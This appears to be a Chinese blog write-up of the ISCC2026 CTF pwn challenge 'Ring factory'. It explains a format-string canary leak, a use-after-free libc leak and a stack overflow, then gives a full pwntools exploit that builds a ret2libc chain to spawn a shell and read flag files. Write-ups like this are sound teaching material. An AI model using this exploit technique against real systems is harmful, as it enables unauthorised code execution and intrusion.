PWN-Ring factory

ISCC2026 WriteUp 提交模板

PWN-Ring factory

隐秘的传送戒指工厂深藏于世。你可以锻造、丢弃、使用戒指开启传送之门。但工厂似乎暗藏异常,某些咒语会引发未知后果。你能逃离这里吗?
题目地址:39.96.193.120:10006

解题思路

checksec:

image.png

有Canary和PIE估计要打libc。

拖入IDA进行分析:

  1. main函数

image.png

main函数中一个格式化漏洞,经过调试发现%7$p ,可以直接把当前栈上的 canary 打出来。

  1. discard_slingring (0x15cd)
  idx = atoi(s);
  if ( (unsigned int)idx < 0xA )
  {
    announcement();
    if ( *((_QWORD *)&rings + idx) )
    {
      free(*((void **)&rings + idx));
      printf("Ring Slot #%d has been discarded.\n", idx);
      cls();
    }

free之后,没有对指针进行滞空,可能存在UAF。
3. show_slingrings

  for ( i = 0; i <= 9; ++i )
  {
    if ( *((_QWORD *)&rings + i) )
      printf(
        "Ring Slot #%d  | [%d]   | %s\n",
        i,
        *(_DWORD *)(*((_QWORD *)&rings + i) + 128LL),
        *((const char **)&rings + i));

*((const char **)&rings + i));刚好对应格式化字符串%s,会把它作为字符串进行输出。配合上面的没有滞空的指针,可以造成UAF。
4. use_slingring (0x16e7)`

  fgets(s, 4, stdin);
  fflush(stdin);
  atoi(s);
  printf("\nPlease enter the spell: ");
  fgets(s_1, 256, stdin);

很明显的一个栈溢出。

现在开始整理一下利用思路:

  1. 通过格式化漏洞泄露canary
  2. 利用uaf来泄露libc
  3. 打ret2libc
"A" * 0x38
canary
"B" * 8
ret
pop rdi ; ret
"/bin/sh"
system

image.png

ISCC{76e20590-27d0-49a3-b843-a24042eb1da4}

Exp

#!/usr/bin/env python3
from pwn import *

#==============全局配置=======================
ELFpath = "./pwn2"
LIBCpath = "./libc-2.31.so"
LOCAL = False
HOST = "39.96.193.120"
PORT = 10006
NOASLR = False

#===============初始化=======================
context(os="linux", arch="amd64", log_level="info")
elf = ELF(ELFpath, checksec=False)
libc = ELF(LIBCpath, checksec=False)

#===============工具别名=====================
io = None
sd = lambda s: io.send(s)
sl = lambda s: io.sendline(s)
rc = lambda s, *a, **kw: io.recv(s, *a, **kw)
ru = lambda s, *a, **kw: io.recvuntil(s, *a, **kw)
sda = lambda a, s: io.sendafter(a, s)
sla = lambda a, s: io.sendlineafter(a, s)

#====================业务常量====================
UNSORTED_FD_OFF = 0x1ECBE0
RET = 0x22679
POP_RDI = 0x23B6A
BIN_SH = next(libc.search(b"/bin/sh\x00"))


def start():
    if LOCAL:
        return process([ELFpath], aslr=not NOASLR)
    return remote(HOST, PORT)


def menu(choice):
    ru(b"What do you want to do today?")
    ru(b">> ")
    sl(str(choice).encode())


def forge(idx, dest=b"A", amount=1):
    menu(2)
    ru(b"(0-9)")
    sl(str(idx).encode())
    ru(b"Enter destination location:")
    sl(dest)
    ru(b"(1-9):")
    sl(str(amount).encode())
    ru(b"Press ENTER to return.")
    sl(b"")


def discard(idx):
    menu(3)
    ru(b"discard?")
    sl(str(idx).encode())


def show():
    menu(1)
    data = ru(b"Press ENTER to return.")
    sl(b"")
    return data


def leak_canary():
    ru(b"What is your name?")
    sl(b"%7$p")
    ru(b"Hello, ")
    canary = int(io.recvline().strip(), 16)
    log.info("canary = %#x", canary)
    return canary


def leak_libc_base():
    for i in range(9):
        forge(i, bytes([0x41 + i]), 1)

    for i in range(7):
        discard(i)
    discard(7)

    data = show()
    marker = b"Ring Slot #7  | ["
    pos = data.find(marker)
    if pos == -1:
        raise RuntimeError("slot 7 leak marker not found")

    line_end = data.find(b"\n", pos)
    line = data[pos:line_end]
    leak_part = line.split(b"]   | ", 1)[1]
    unsorted_fd = u64(leak_part[:6].ljust(8, b"\x00"))
    libc_base = unsorted_fd - UNSORTED_FD_OFF
    log.info("unsorted fd = %#x", unsorted_fd)
    log.info("libc base = %#x", libc_base)
    return libc_base


def build_payload(canary, libc_base):
    return flat(
        b"A" * 0x38,
        p64(canary),
        b"B" * 8,
        p64(libc_base + RET),
        p64(libc_base + POP_RDI),
        p64(libc_base + BIN_SH),
        p64(libc_base + libc.sym["system"]),
    )


def attack():
    global io
    io = start()

    canary = leak_canary()
    libc_base = leak_libc_base()
    payload = build_payload(canary, libc_base)

    menu(4)
    ru(b"(id):")
    sl(b"0")
    ru(b"Please enter the spell:")
    sl(payload)
    ru(b"Transporting...")

    sl(b"cat flag; cat /flag; cat /flag*; cat /home/ctf/flag* 2>/dev/null")
    data = io.recvrepeat(3)
    print(data.decode("latin-1", "replace"))


if __name__ == "__main__":
    attack()

posted @ 2026-05-19 16:32  MillionMind  阅读(3)  评论(0)    收藏  举报